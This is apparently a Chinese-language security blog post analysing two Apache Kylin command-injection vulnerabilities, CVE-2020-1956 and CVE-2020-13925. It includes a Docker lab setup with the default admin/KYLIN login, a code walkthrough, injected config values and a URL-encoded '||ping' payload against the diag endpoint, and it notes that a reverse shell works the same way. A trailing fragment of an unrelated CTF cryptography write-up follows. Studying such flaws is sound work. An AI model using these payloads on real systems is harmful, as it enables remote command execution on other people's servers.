1 前言
这里对Apache Kylin出现的两次漏洞进行下分析,本身漏洞也不难,而且前置条件需要用户登录,不过由于docker下的环境会存在一个默认账户(admin/KYLIN),所以这个登录条件的限制也不是那么的严格。在实际场景中如果能够遇到Kylin,配合上默认账户所以还是存在很大的安全隐患。 简单说下如何用docker部署Kylin,这里我部署的3.0.1版本,其中CVE-2020-1956影响的最高版本为3.0.1,CVE-2020-13925影响的最高版本为3.0.2
1
|
docker pull apachekylin/apache–kylin–standalone:3.0.1
|
1
2
3
4
5
6
7
8
9
|
docker run –d
–m 8G
–p 7070:7070
–p 8088:8088
–p 50070:50070
–p 8032:8032
–p 8042:8042
–p 16010:16010
apachekylin/apache–kylin–standalone:3.0.1
|
输入admin/KYLIN即可登录,登录后可以看到样例已经设定了两个Model方便学习。
2 CVE-2020-1956
漏洞代码位于kylin-kylin-3.0.1/server-base/src/main/java/org/apache/kylin/rest/service/CubeService.java第1085行
首先PreAuthorize里面定义了路由权限,其中可以看到包含ADMIN权限、ADMINISTRATION权限和MANAGEMENT权限可以访问该service。
接着1087行判断Kylin是否开启MigrateCube,如果没有开启,则返回错误,在默认环境下返回为false,因此想要利用该漏洞,得首先运用Kylin自带的环境变量设置,将kylin.tool.auto-migrate-cube.enabled设置为true。
然后1098行和1099行从环境变量中取出变量,这里由前面这个MigrateCube可知,环境变量我们均是可控的,因此srcCfgUri和dstCfgUri两个变量均是可控的,1101和1102行判断这两个变量是否为空,因此此处这两个变量一定不能为空值。
最后1105行开始拼接所有变量,可以看到这里创建了一个stringBuilder,然后经过format处理,最终进入到execute函数
默认情况下remoteHost为null,进入到runNativeCommand函数,跟到最后发现这里就是一个命令执行的函数。
那么回到最先的触发点,当我们控制了srcCfgUri和dstCfgUri,通过命令注入,那么最终就能执行我们设置的命令。
利用这里的”System”->”Set Config”功能进行环境变量的设置,首先需要开启migrate-cube,然后对srcCfgUri和dstCfgUri进行设置,将”kylin.tool.auto-migrate-cube.src-config”设置为“/tmp/123;touch /tmp/success;echo “,将”kylin.tool.auto-migrate-cube.dest-config”设置为”123456″,最后再按照API格式请求路径即可,那么就会执行我们的touch命令,反弹shell同理可得。
3 CVE-2020-13925
漏洞代码位于kylin-kylin-3.0.1/server-base/src/main/java/org/apache/kylin/rest/controller/DiagnosisController.java第76行
这里project通过PathVariable注解得到,为可控变量,进入到82行,跟进dumpProjectDiagnosisInfo函数
首先通过checkProjectOperationPermission函数来检查该project是否许可,然后构建一个args的字符串数组,跟进runDiagnosisCLI函数
这里重点看110行,通过字符串拼接得到diagCmd,然后经过execute函数,这里execute函数的代码如上一个cve所示,简单讲就是一个命令执行的构造器,那么看到这里其实这个漏洞的挖掘思路就已经很明显了,上个cve暴露出了Kylin其实存在大量的字符串拼接,其次这个execute函数如果出现在用户可以控制的地方,那么就会存在命令注入的漏洞。
那么回到上面的checkProjectOperationPermission函数,看看里面到底是怎么样一个鉴权流程。
这里传入projectName,然后通过getProjectInstance来获取项目实例
那么这里由于projectName是我们需要污染的变量,所以传入的一定不会是一个正常的项目名,因此返回一定为null,进入到hasProjectOperationPermission函数
这里的鉴权其实并没有对ProjectInstance实例进行检验,而是操作权限进行了校验,当为ADMIN、ADMINISTRATION、MANAGEMENT、OPERATION等权限事,该值默认返回为true,所以这里的检验其实也是漏洞的根源。
1
2
|
/kylin/api/diag/project/{project}/download
/kylin/api/diag/job/{jobId}/download
|
最终在project位置处构造payload,这里最终拼接得到的命令语句如下
1
|
/home/admin/apache–kylin–3.0.1–bin–hbase1x/bin/diag.sh {project} {diagDir}
|
那么通过命令注入,使用||来执行or语句就能执行最终的命令
1
|
http://localhost:7070/kylin/api/diag/project/%7c%7cping%201111.cexbr7.dnslog.cn%7c%7c/download
|
4 后记
在实践过程中发现Kylin经常会因为内存不够而闪退,这里推荐在起docker的时候不要加上-m参数指定内存,另外发现通报过程中提到了job的路由,但是在实践过程中这个路由并不会执行命令,而是会报错退出
这里显示在getProjectByJob时,由于返回为空,进而爆出java.lang.NullPointerException错误,并且根据函数调用显示,也没有走到最后的execute函数
其中getUuid会返回当前job的Uuid值,但是在构造poc的过程中,该值一定是不存在的,那么在这个时候并不会返回为空,而是会报上述错误,因此这里能否利用其实还要打一个问号。
题目链接:传送门 密码学不多,就三条,作为一个信息安全学生,密码学什么的最简单了~ 1.哼哼 小猪生活的地方在哪里? ★tip:yitctf{内容为小写} 小猪,联想到猪圈密码,百度详解地址:传送门 根据字符对应可知flag为HACK 2.卢本伟 LOL我只服…
请登录后发表评论
注册